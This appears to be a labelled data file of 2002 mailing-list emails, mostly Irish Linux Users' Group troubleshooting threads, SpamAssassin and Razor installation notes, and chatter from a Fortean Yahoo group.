15:58:51 +0100",[ILUG] freeserve in the uk?,"ok, so if i was in the uk for a wekk, how might i configure my laptop to dial in to a freebie isp? redhat's internet connection wizard actually has settings for uk isp's, but freeserve is the only one i recognize and it doen't seem to work. has anyone here done this? kevin -- kevin@suberic.net that a believer is happier than a skeptic is no more to fork()'ed on 37058400 the point than the fact that a drunken man is happier meatspace place: home than a sober one. the happiness of credulity is a http://ie.suberic.net/~kevin cheap & dangerous quality -- g.b. shaw -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Craig R.Hughes"" ",dcc@calcite.rhyolite.com,"Mon, 2 Sep 2002 10:25:57 -0700",Re: bad DCC traffic from e-corp.net,"Vernon, I'm changing the instructions in the SpamAssassin INSTALL file right now to: tar xfvz dcc-dccproc.tar.Z cd dcc-dccproc-X.X.X ./configure && make && make install cdcc 'info' Let me know ASAP if that's innapropriate, since we're shipping 2.40 today! C On Monday, September 2, 2002, at 10:02 AM, Vernon Schryver wrote: >> Here are the instructions in the spamassassin README: >> >> # tar xfvz dcc-dccproc.tar.Z >> # cd dcc-dccproc-X.X.X >> # ./configure && make && make install >> # cdcc 'new map' >> # cdcc 'add dcc.rhyolite.com' >> # cdcc 'info' > > That's ok, except that the 'new map' and ""add dcc.rhyolite.com' > are respectively unnecessary and wrong. The map file that comes > with the source points to localhost and dcc.dcc-servers.net. Those > two shipped entries usually do the right thing if there is a local > server. If there is no local server or if the local server fails, > requests are instantly sent to one of the public server names listed > in the main DCC web page at > http://www.rhyolite.com/anti-spam/dcc/ and http://www.dcc- > servers.net/dcc/ > dcc.rhyolite.com has not been listed for months.",0,1 Ronan Waide ,"""Kiall Mac Innes"" ","Mon, 2 Sep 2002 20:17:01 +0100",RE: [ILUG] VPN implementation,"On September 2, kialllists@redpie.com said: > OS-X is linux > Er, no it's not. It's kinda BSD-related, but it's definitely not Linux. Waider. -- waider@waider.ie / Yes, it /is/ very personal of me. ""Since I am project leader, I must not be permitted to go insane."" - Theo de Radt -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Fergal Moran"" ","""ILUG"" ","Mon, 7 Oct 2002 09:18:21 +0100",RE: [ILUG] Drop in replacement for Ingres Database?,"> From: Paul Linehan [mailto:plinehan@yahoo.com] > > There are two open alternatives that I can think of > that don't appear to have been mentioned > elsewhere in this thread. > > > One is Firebird (this is my personal favourite). > It is http://FirebirdSQL.org and you can > purchase support contracts here > www.ibphoenix.com. Indeedy - I had never even heard of firebird until we started a new job last week with a client who uses it. So we popped it onto a box downstairs and wow - it is fast. Comes with some lovely client tools also. Supports all the db goodies, transactions, stored procedures, triggers. > It's really amazing to think how much they've got > out of a db that is only 4 MB in size - that's 10 > times smaller than the Oracle *_client_*. > > > Having said all of the above, Oracle is really > a super product, but ya pays ya money... > IBM's db2 is another cheaper alternative to Oracle. Free single developer license downloadable from their website. Fergal. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Waider ,Irish Linux Users Group ,"Mon, 07 Oct 2002 10:24:40 +0200",[ILUG] serial port transient failure,"Here's a weird and wacky problem: I'm currently out of the country with my trusty Evo N600c laptop. When I tried to use the serial port to talk to my mobile phone, Linux behaved pretty much as if the port was fried. Bizarre, I thought, because I'd used it successfully while in the office. The only difference was that I was trying the thing in the hotel. I entertained brief notions of having somehow fried the serial drivers, then rebooted the laptop to Windows and tried again. Worked perfectly. Back to Linux. Still not talking. Considered that it might be flaky power, so I ran the laptop on battery. Nope. Tried moving the laptop to a differnet part of the room where there might be less bogon flux. Still not working. Eventually I gave up and used the IrDA port instead - which is usually the serial connection of doom, grief, and teeth-grinding. This morning, in the office, the damn thing is working without a hitch. Anyone like to suggest what mystery technology is in use in the hotel that prevents serial ports from working under Linux? Cheers, Waider. -- waider@waider.ie / Yes, it /is/ very personal of me -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",ilug@linux.ie,"Mon, 7 Oct 2002 09:30:01 +0100",Re: [ILUG] rpm dependencies,"On Sat, Oct 05, 2002 at 06:06:14PM +0100, Padraig Brady mentioned: > OK I'm upgrading vorbis on my machine and I'm getting > the following: > > # rpm -U libvorbis-* vorbis-tools-1.0-1.i386.rpm > error: failed dependencies: > libvorbisfile.so.0 is needed by SDL_mixer-1.2.0-4 > libvorbisfile.so.0 is needed by xmms-1.2.5-7 > libvorbisfile.so.0 is needed by tuxracer-0.61-5 > > This is because the new libvorbis.rpm only has libvorbisfile.so.3 > So is this a problem in the other packages depending on > a specific version (libvorbisfile.so.0) rather than on the > generic libvorbis.so ? This is a pain. The only way you can resolve this, to my knowledge is to download the original libvorbis rpm and the new one. Remove the old one, then do: rpm -Uvh libvorbis-* RPM then assumes that you want both versions installed at the same time, and does so. Why you can't do this after you have one library already installed is beyond me. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Waider ,ilug@linux.ie,"Mon, 07 Oct 2002 10:34:22 +0200",Re: [ILUG] rpm dependencies,"John P. Looney wrote: > The only way you can resolve this, to my knowledge is to download the > original libvorbis rpm and the new one. Remove the old one, then do: > > rpm -Uvh libvorbis-* > > RPM then assumes that you want both versions installed at the same time, > and does so. Why you can't do this after you have one library already > installed is beyond me. Does using the --oldpackage flag help your pain, or is your pain caused by ""Obsoletes"" flags? Cheers, Waider. -- waider@waider.ie / Yes, it /is/ very personal of me -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Ciaran Johnston"" ",,"Mon, 7 Oct 2002 09:43:11 +0100 (BST)",Re: [ILUG] Interesting article on free software licences,"David Neary said: > > For the francophones among you, this article is a summary of the > reasons why most free software licences (and the GPL in > particular) are not valid in France. > > http://www.linuxfrench.net/article.php3?id_article=1043 > > Google translation (hard to read most of the time, but good > enough to pick up the gist) > > http://makeashorterlink.com/?U26B52602 > > In brief, in an international contract, when mentioning copyright, you > must mention under which jurisdiction's laws the copyright > is applied. French law requires the licence to be available in > French (the GPL isn't). And French law requires that for a > contract to be valid, it must not breach existing law. Also under > French law, the copyright holder automatically retains the right > to change the licence, which means that French law is in conflict > with the GPL, which requires authorisation from all authors > before a licence change is allowed. > > Also there's some stuff about French consumer law forbidding sale > without guarantee of anything, so software delivered as-is > breaches consumer law in France. But I didn't really follow that. My French is a bit iffy these days, but if this is true, does it not also nullify Microsoft, Adobe and WinZip licences amongst most others? These all claim no liability, no guarantees (M$ say delivered ""with all faults"", so at least they are honest). /Ciaran. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Glen Gray ,ilug@linux.ie,07 Oct 2002 10:10:00 +0100,[ILUG] Retrieving read mail from webmail.eircom.net via POP ?,"Is there a way to get my read email downloaded off webmail.eircom.net. I've been reading the emails using the web based interface. But I've reached my quota limit. There doesn't seem to be any way to get the emails off the server. I can connect to the account using POP, but that only retrieves unread emails. There's also no way to mark emails as unread from the html interface. Is there a way I can use fetchmail perhaps to get it to pull down all the emails and remove them off the server. It's been years since I've used fetchmail, I don't recall be able to do this. Any other suggestions welcome. There's a few hundred email so I don't fancy going through each one forwarding it to another account. Glen -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Glen Gray ,Stephane Dudzinski ,07 Oct 2002 10:27:03 +0100,Re: [ILUG] Retrieving read mail from webmail.eircom.net via POP ?,"Seems fetchmail has a -a switch to get it all. Just need to install fetchmail now :) Glen On Mon, 2002-10-07 at 10:17, Stephane Dudzinski wrote: > Funny enough, that also happened to a Friend of mine who uses both the > web interface and a pop client. Last time i tried to send a picture > which was around 100k, it got denied saying that quota was exceeded. > When he looked at his account on the web, it mentionned 5 MB free, so i > have no idea what they're playing at ... > > Doesn't really help but just wanted to confirm the problem. > > Steph > > On Mon, 2002-10-07 at 10:10, Glen Gray wrote: > > Is there a way to get my read email downloaded off webmail.eircom.net. > > > > I've been reading the emails using the web based interface. But I've > > reached my quota limit. There doesn't seem to be any way to get the > > emails off the server. I can connect to the account using POP, but that > > only retrieves unread emails. There's also no way to mark emails as > > unread from the html interface. > > > > Is there a way I can use fetchmail perhaps to get it to pull down all > > the emails and remove them off the server. > > > > It's been years since I've used fetchmail, I don't recall be able to do > > this. > > > > Any other suggestions welcome. There's a few hundred email so I don't > > fancy going through each one forwarding it to another account. > > > > Glen > > > > > > > > > > -- > > Irish Linux Users' Group: ilug@linux.ie > > http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. > > List maintainer: listmaster@linux.ie > -- > ______________________________________________ > Stephane Dudzinski Systems Administrator > NewWorldIQ t: +353 1 4334357 > www.newworldiq.com f: +353 1 4334301 > > -- > Irish Linux Users' Group: ilug@linux.ie > http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. > List maintainer: listmaster@linux.ie -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 ,,"Mon, 7 Oct 2002 10:35:39 +0100 (IST)",Re: [ILUG] adsl router modem combo,"It seems to only support PPPoA and not PPPoE. You need one that supports PPPoE, if you want torun it in routed IP mode. If you are using it as a bridge, it'll probably work, but you'd be left leaving the computer on, which would defeat the purpose of getting a router. The best router I've come accross is the Zyxel 643. Eircom supply this, but if you have alook online you can probably find it cheaper to buy online from America or the UK. Hope this is useful, Joe -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Niall O Broin ,ilug@linux.ie,"Mon, 7 Oct 2002 10:37:26 +0100",Re: [ILUG] Interesting article on free software licences,"On Mon, Oct 07, 2002 at 09:43:11AM +0100, Ciaran Johnston wrote: > > Also there's some stuff about French consumer law forbidding sale > > without guarantee of anything, so software delivered as-is > > breaches consumer law in France. But I didn't really follow that. > > My French is a bit iffy these days, but if this is true, does it not also > nullify Microsoft, Adobe and WinZip licences amongst most others? These all > claim no liability, no guarantees (M$ say delivered ""with all faults"", so > at least they are honest). Apparently the angle on this (i.e. selling without guarantee) is that software is not a product which is sold but a service which is licensed - at least that's what I remember reading about how M$ gets away with providing no guarantee in the U.S. If you're feeling rather deep pocketed, you could always try suing M$ to get a court's view on the matter. Niall -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Ulysees"" ","""ILUG"" ","Mon, 7 Oct 2002 10:41:45 +0100",[Same thread ish] [ILUG] adsl router modem combo,"having great fun trying to find a dumb ADSL modem with Ethernet presentation, everybody wants to sell routers but I intend on doing pppoe from another device, something with more than one Ethernet port would be nice. anybody got any recommendations ? Uly ----- Original Message ----- From: To: Cc: Sent: Monday, October 07, 2002 10:35 AM Subject: Re: [ILUG] adsl router modem combo > It seems to only support PPPoA and not PPPoE. You need one that supports > PPPoE, if you want torun it in routed IP mode. If you are using it as a > bridge, it'll probably work, but you'd be left leaving the computer on, > which would defeat the purpose of getting a router. > > The best router I've come accross is the Zyxel 643. Eircom supply this, > but if you have alook online you can probably find it cheaper to buy > online from America or the UK. > > Hope this is useful, > Joe > > > -- > Irish Linux Users' Group: ilug@linux.ie > http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. > List maintainer: listmaster@linux.ie > -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 tor@torb.mine.nu (Tor),Declan de Lacy Murphy ,"Mon, 7 Oct 2002 11:32:54 +0100",Re: [ILUG] adsl router modem combo,"On Sun, Oct 06, 2002 at 11:10:05PM +0100, Declan de Lacy Murphy wrote: > I am planning to get i-stream solo and share it across a small network > (wireless), but I don't want to have to pay eircom for a router and having a > noisy pc running constantly isn't really an option because at home > inevitably someone will unplug it. > > I have been looking at a number of products and although I read the thread > about eircom needing pppoe last august I am still not sure if the one that I > am interested in will do the job. It is a hawking technology ar 710 > http://www.hawkingtech.com/products/ar710.htm ) and if it does the job it > will actually be cheaper than the modem eircom is selling. > > I would really appreciate if someone could look at the spec on the hawking > web page and give me an opinion. > > Thanks in advance > > Declan > I got the DSL-W 906E from http://www.dsl-warehouse.co.uk. Though it's not at all the best one around I have to say it does the job and a bit. Some of the features can be a pain to get working (ie. pptp in pppoe mode - can't figure it out). The documentation is not the best, but the guys from http://www.dsl-warehouse.co.uk will help you ouit. They also have a message board. The command line interface is quite powerful, but absolutely not userfriendly. All in all it's a cheap desent performer, that I am happy enough with. Got this one including a microfilter (not needed) for 140euro including shipping. Better than any deal from Eircom. -Tor -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Scott Wood"" ",zzzzteana@yahoogroups.com,"Mon, 07 Oct 2002 12:51:33 +0100",[zzzzteana] Re: Megalithomania UnPissup,"--- In forteana@y..., ""Webmaster"" wrote: >Right...Talking Stick!..but what the hell is ""marathon/snickers, jif/cif >and >calls itself 'Secret Chiefs' "" > >DRS > Rebranding: taking something and changing nothing about it except its name. In the UK Marathon bars became Snickers bar, Jif cleaning fluid became Cif and Talking Stick became Secret Chiefs, y'know? Scott ""at once a fun fair, a petrified forest, and the great temple of Amun at Karnak, itself drunk, and reeling in an eccentric earthquake"" _________________________________________________________________ Join the worlds largest e-mail service with MSN Hotmail. http://www.hotmail.com ------------------------ Yahoo! Groups Sponsor ---------------------~--> Plan to Sell a Home? http://us.click.yahoo.com/J2SnNA/y.lEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Webmaster"" ",,"Mon, 7 Oct 2002 06:54:11 -0500",Re: [zzzzteana] Re: Megalithomania UnPissup,"----- Original Message ----- From: ""Scott Wood"" To: Sent: Monday, October 07, 2002 6:51 AM Subject: [zzzzteana] Re: Megalithomania UnPissup > --- In forteana@y..., ""Webmaster"" wrote: > >Right...Talking Stick!..but what the hell is ""marathon/snickers, jif/cif > >and > >calls itself 'Secret Chiefs' "" > > > >DRS > > > > Rebranding: taking something and changing nothing about it except its name. > In the UK Marathon bars became Snickers bar, Jif cleaning fluid became Cif > and Talking Stick became Secret Chiefs, y'know? > > Scott > ""at once a fun fair, a petrified forest, and the great temple of Amun at > Karnak, itself drunk, and reeling in an eccentric earthquake"" > > > _________________________________________________________________ > Join the world's largest e-mail service with MSN Hotmail. > http://www.hotmail.com > > > > To unsubscribe from this group, send an email to: > forteana-unsubscribe@egroups.com > > > > Your use of Yahoo! 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What would later come to be called South America and Central America were surprisingly well-shaped, not only on the east coast, where explorers had already sailed, but also on the west coast -- which no European was known to have seen. The ice cream cone bulge that sticks out into the Pacific at the junction of modern-day Chile and Peru is readily visible and in almost exactly the right geographical spot -- not only in the main map, but also in an inset printed along its top. The shape of South America in the main map appears distorted because of the curvature of the Earth. It is an improbable coincidence, if it was a coincidence, for the map -- 12 large printed pages to be arrayed in one 36-square-foot wall display -- was published six years before Vasco Balboa's 1513 trip across the Isthmus of Panama and 12 years before Ferdinand Magellan's 1519-22 trip around the world. Did someone get there earlier? ... ------------------------ Yahoo! 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(7:00AM here for me) DRS > --- In forteana@y..., ""Webmaster"" wrote: > >Right...Talking Stick!..but what the hell is ""marathon/snickers, jif/cif > >and > >calls itself 'Secret Chiefs' "" > > > >DRS > > > > Rebranding: taking something and changing nothing about it except its name. > In the UK Marathon bars became Snickers bar, Jif cleaning fluid became Cif > and Talking Stick became Secret Chiefs, y'know? > > Scott > ""at once a fun fair, a petrified forest, and the great temple of Amun at > Karnak, itself drunk, and reeling in an eccentric earthquake"" > > > _________________________________________________________________ > Join the world's largest e-mail service with MSN Hotmail. > http://www.hotmail.com > > > > To unsubscribe from this group, send an email to: > forteana-unsubscribe@egroups.com > > > > Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ > > > ------------------------ Yahoo! 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The 45-year-old, of Queensway, Hope, near Wrexham, has pleaded guilty to one count of wasting police time on August 15 this year. The court was told Youde claimed to have no recollection of making the calls having been drinking all day. Defence lawyer Mark Arden says the offence was neither premeditated nor calculated but added that this was no excuse. He said: ""What he's done is horrific. It's unforgivable. The distress he's caused the families is unacceptable."" Youde has been released on unconditional bail until November 7 when he will be sentenced. The hearing has been adjourned for pre-sentence reports although the defendant has been warned custody is an option. Story filed: 12:36 Monday 7th October 2002 ------------------------ Yahoo! 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I know an awful lot about you! ;-)) Yes, I like that starlet look, but I think you should come out from behind that bike too and let us see what you are wearing. looks pretty innerestin' -- Fel NEW!! Cafe Forteana is back: http://www.frogstone.net/Cafe/CafeForteana.html http://www.frogstone.net Weird Page: http://my.athenet.net/~felinda/WeirdPage.html [Non-text portions of this message have been removed] ------------------------ Yahoo! Groups Sponsor ---------------------~--> Sell a Home with Ease! http://us.click.yahoo.com/SrPZMC/kTmEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Helen & Mike"" ",,"Mon, 7 Oct 2002 22:46:17 +0100",Re: [zzzzteana] The Cafe Forteana is back online!!!,"> Or you could let me write one for you? Mind you ...... I know an > awful lot about you! ;-)) Oh, that could be interesting! > > Yes, I like that starlet look, but I think you should come out from > behind that bike too and let us see what you are wearing. looks > pretty innerestin' That bike is all that's between me and my modesty. The other photos are not for public consumption. :-) > Fel Helen of Troy ------------------------ Yahoo! Groups Sponsor ---------------------~--> Sell a Home for Top $ http://us.click.yahoo.com/RrPZMC/jTmEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """uncle_slacky"" ",zzzzteana@yahoogroups.com,"Mon, 07 Oct 2002 21:59:24 -0000",[zzzzteana] Latest Iraq-related news,"Just the headlines and URLs so I don't bore y'all too much.... http://www.guardian.co.uk/Iraq/Story/0,2763,805900,00.html As a US Republican, I reject George Bush's illegal and unconstitutional plan to attack Iraq - Scott Ritter http://jang.com.pk/thenews/oct2002-daily/07-10-2002/world/w9.htm Saudi Arabia may start fingerprinting Americans Blair warned war to oust Saddam 'illegal' ------------------------ Yahoo! Groups Sponsor ---------------------~--> Home Selling? Try Us! http://us.click.yahoo.com/QrPZMC/iTmEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 Chris Kurtz ,razor-users@example.sourceforge.net,"Mon, 07 Oct 2002 15:22:44 -0700","[Razor-users] Razor2 error: can't find ""new""","Using Razor2 via SpamAssasin. System is Solaris 2.7, with qmail. Spamassassin run via user's procmail. All users who use SA have run razor-register. Razor2 is failing, and I can't find anything in the limited docs or on google on it, and I'm hoping someone can help. The error (which doesn't prevent SA from working) is: Oct 2 06:38:22 sancho2 qmail: 1033565902.186041 delivery 4588: success: razor2_check_skipped:_Bad_file_number_Can't_locate_object_m ethod_""new""_via_package_""Razor2::Client::Agent""_(perhaps_you_forgot_to_load_""Razor2::Client::Agent""?)_at_/usr/local/lib/perl5/site_p erl/5.6.1/Mail/SpamAssassin/Dns.pm_line_374./did_0+0+1/ Looking at Dns.pm doesn't really help me, and Razor2::Client::Agent appears to be in the right place, in /usr/local/lib/perl5/site_perl/5.6.1/Razor2/Client. Ideas? ...Chris ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Razor-users mailing list Razor-users@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/razor-users",0,1 """uncle_slacky"" ",zzzzteana@yahoogroups.com,"Mon, 07 Oct 2002 22:29:21 -0000",[zzzzteana] Re: Latest Iraq-related news,"Even better: http://www.ridiculopathy.com/news_detail.php?id=668 White House: President's ""War Boner"" Must Be Satisfied ...""The President can't seem to hide his excitement about a possible military conflict with Iraq. At a recent function honoring America's war widows, Bush sported a visible erection when his speech turned to the subject of the Middle East. 'Believe me when I say this. With or without the help of other nations, with or without UN approval, we will penetrate Iraq's borders. With overwhelming force, we will pound Iraq over and over again without ceasing. And, once its leaders concede defeat, we will seed Iraq with American-style democracy.' Aides say the podium was scrubbed down thoroughly after the event with a special cleanser/biocide not used since the Clinton administration.""..... ------------------------ Yahoo! Groups Sponsor ---------------------~--> Plan to Sell a Home? http://us.click.yahoo.com/J2SnNA/y.lEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Tim Chapman"" ",zzzzteana@yahoogroups.com,"Mon, 07 Oct 2002 23:41:30 +0100",Re: [zzzzteana] The Cafe Forteana is back online!!!,"Tom R: > http://www.cliktrik.com/people/family/me/0419.jpg > Which one's you? TimC ------------------------ Yahoo! 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Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """Geege Schuman"" ",", ","Mon, 7 Oct 2002 21:39:39 -0400",RE: The absurdities of life.,"what takes time and money: noting the amounts of each correction and basing the refund delivery method on the amount. yesh, it's silly to spend $.37 (+ labor and materials) for a $.02 refund, but maybe the only alternative right now is to create dichotomies that require even more time and labor - or keep the money (see john hall below). your mailed refund is a function of bulk. in jax we're on the verge of firing at&t cable for horrible customer service and over-charging. what will probably happen: if the amount of overage per customer is significant (say $30 or more) the refund will go directly to the customer. If it's less, the combined total amount will go to the city as lump sum settlement. in your case, maybe all the customers could vote on line where they'd like their lump sum to go. of courese, they'd have to be notified by mail first. :-) -----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of John Hall Sent: Monday, October 07, 2002 5:02 PM To: Fork@xent.com Subject: RE: The absurdities of life. They are legally required to do that. I got a similar check because an insurance company didn't pay a claim quickly enough. It might have been $.02. Although they spent lots more than $.33 to mail you the check, the alternative seems to be to keep the money. Do you really want companies to have a financial incentive to over-bill you 'just a bit' so they could keep it? For a company with millions of customers, $.33/customer starts adding up. > From: fork-admin@xent.com [mailto:fork-admin@xent.com] On Behalf Of > bitbitch@magnesium.net > So I get a check from Pac Bell today (SBC as they're called now). > Turns out, they went to the trouble of printing out, signing, sealing > and stamping a check just to refund me for a whole $0.33. > > They easily spent more than this just getting the materials together. > Why the hell do companies bother to do this crap? I mean, isn't there > a bottom line in terms of cost effectiveness? I don't think I missed > the .33, but I sure as hell would have appreciated lower rates in lieu > of being returned pennies. > > I'm truly stuck on this though. I don't know whether to frame the > check, burn it, or cash it in. Maybe I should find a way to return to > sender, so they have to spend -more- money on giving me my .33 dues. > > > Does .33 even buy anything anymore? Funny bit of it, is I couldn't > even make a phone call these days. > > *boggled* > BB. > > -- > Best regards, > bitbitch mailto:bitbitch@magnesium.net",0,0 pudge@perl.org,zzzz-use-perl@spamassassin.taint.org,"Tue, 08 Oct 2002 02:00:26 +0000",[use Perl] Headlines for 2002-10-08,"use Perl Daily Headline Mailer This Week on perl5-porters (30 September / 6 October 2002) posted by rafael on Monday October 07, @07:12 (summaries) http://use.perl.org/article.pl?sid=02/10/07/1124226 RATS posted by KM on Monday October 07, @09:01 (news) http://use.perl.org/article.pl?sid=02/10/07/132252 Copyright 1997-2002 pudge. All rights reserved. ====================================================================== You have received this message because you subscribed to it on use Perl. To stop receiving this and other messages from use Perl, or to add more messages or change your preferences, please go to your user page. http://use.perl.org/my/messages/ You can log in and change your preferences from there.",0,1 pudge@perl.org,zzzz-use-perl@spamassassin.taint.org,"Tue, 08 Oct 2002 02:00:35 +0000",[use Perl] Stories for 2002-10-08,"use Perl Daily Newsletter In this issue: * This Week on perl5-porters (30 September / 6 October 2002) * RATS +--------------------------------------------------------------------+ | This Week on perl5-porters (30 September / 6 October 2002) | | posted by rafael on Monday October 07, @07:12 (summaries) | | http://use.perl.org/article.pl?sid=02/10/07/1124226 | +--------------------------------------------------------------------+ It was a busy week indeed, with long threads, interesting bugs, clever fixes, miscellaneous optimizations, some new ideas, a few jokes, mysterious failures, and, finally, a security hole. Read on. This story continues at: http://use.perl.org/article.pl?sid=02/10/07/1124226 Discuss this story at: http://use.perl.org/comments.pl?sid=02/10/07/1124226 +--------------------------------------------------------------------+ | RATS | | posted by KM on Monday October 07, @09:01 (news) | | http://use.perl.org/article.pl?sid=02/10/07/132252 | +--------------------------------------------------------------------+ Odud writes ""RATS, the Rough Auditing Tool for Security, is a security auditing utility for C, C++, Python, Perl and PHP code. RATS scans source code, finding potentially dangerous function calls. The goal of this project is not to definitively find bugs. The current goal is to provide a reasonable starting point for performing manual security audits. Produced by [0]Secure Software"" Uses a database so you can alter what you want it to look for. Not a replacement for using stricture or your head but is a good place to start some security auditing on your Perl. Discuss this story at: http://use.perl.org/comments.pl?sid=02/10/07/132252 Links: 0. http://www.securesoftware.com/rats.php Copyright 1997-2002 pudge. All rights reserved. ====================================================================== You have received this message because you subscribed to it on use Perl. To stop receiving this and other messages from use Perl, or to add more messages or change your preferences, please go to your user page. http://use.perl.org/my/messages/ You can log in and change your preferences from there.",0,1 That Goddess Chick ,zzzzteana@yahoogroups.com,"Mon, 7 Oct 2002 22:23:11 -0500",Re: [zzzzteana] Bigfoot and big feet on display at Peabody,">Benoit claimed the prize for his size 14 feet. In the female division of the >competition, three women tied for first place with size 10 feet. >Winners took home a $100 gift certificate to either Footlocker or Barrie >Ltd. Well crap, mine are size 11. > >""If I'd have known the contest was happening, I would have gone,"" said >Justin Simon '04, the proud owner of size 15 feet. ""A lot of the guys have >bigger feet than that. Dexter Upshaw ['06] wears a size 18."" > >Simon said the $100 gift certificate would have almost paid for a new pair >of shoes. Almost. If you shop at Payless!! But sure could have used the $100 anyway! -- Fel NEW!! Cafe Forteana is back: http://www.frogstone.net/Cafe/CafeForteana.html http://www.frogstone.net Weird Page: http://my.athenet.net/~felinda/WeirdPage.html [Non-text portions of this message have been removed] ------------------------ Yahoo! Groups Sponsor ---------------------~--> Home Selling? Try Us! http://us.click.yahoo.com/QrPZMC/iTmEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 That Goddess Chick ,zzzzteana@yahoogroups.com,"Mon, 7 Oct 2002 22:47:10 -0500",Re: [zzzzteana] Fortean Times Online,">Helen & Mike wrote: > >> Chat tends to be on irc.quakenet #forteana most nights. I think this was >> done mainly because of troll infestation. Colin has control most nights on >> there, and he keeps an eye on people and kicks them if they come in under >> assumed names, or as soon as they show their true natures. Just call him >> Billy Goat Gruff :-) > >How do you sign up? > >Thanks! > >Kelly kelly, same thing as when you used to come to frogstone on Dalnet. #frogstone is still there, and also #forteana. If you want to go to quakenet, just change your server (in mIRC if that is what you use) to that. -- Fel NEW!! Cafe Forteana is back: http://www.frogstone.net/Cafe/CafeForteana.html http://www.frogstone.net Weird Page: http://my.athenet.net/~felinda/WeirdPage.html [Non-text portions of this message have been removed] ------------------------ Yahoo! Groups Sponsor ---------------------~--> Plan to Sell a Home? http://us.click.yahoo.com/J2SnNA/y.lEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 That Goddess Chick ,zzzzteana@yahoogroups.com,"Mon, 7 Oct 2002 22:55:05 -0500",Re: [zzzzteana] Good ISP for Mac?,">I managed to get myself an iMac yesterday (just a G3 but a good'un) and was >wondering if any of the Apple people on here could recommend a good ISP (for >narrow band at the moment) for getting online under OS X. > >Stew my local ISP works great with my iMac. I don't know what you guys have over there, but OS X ought to let you get online as well as anything else. Crossing my fingers though....I did a upgrade to Jaguar, and ended up doing a scrape and install after that. Oh, and I am on 56k dialup -- Fel NEW!! Cafe Forteana is back: http://www.frogstone.net/Cafe/CafeForteana.html http://www.frogstone.net Weird Page: http://my.athenet.net/~felinda/WeirdPage.html [Non-text portions of this message have been removed] ------------------------ Yahoo! Groups Sponsor ---------------------~--> Home Selling? Try Us! http://us.click.yahoo.com/QrPZMC/iTmEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 That Goddess Chick ,zzzzteana@yahoogroups.com,"Mon, 7 Oct 2002 23:11:08 -0500",Re: [zzzzteana] The Cafe Forteana is back online!!!,"> >Tom R: >>> >>>http://www.cliktrik.com/people/family/me/0419.jpg >>> >>Which one's you? > >I'm actually taking the photo -- both figures are in fact waxworks. > >This was in Mme Tussaud's in, of all places, Sydney Australia. > > /t >-- damn it Tom!! I had my kids believing you knew Albert Einstein!! Well, until the smart one asked just how old you were now. -- Fel NEW!! Cafe Forteana is back: http://www.frogstone.net/Cafe/CafeForteana.html http://www.frogstone.net Weird Page: 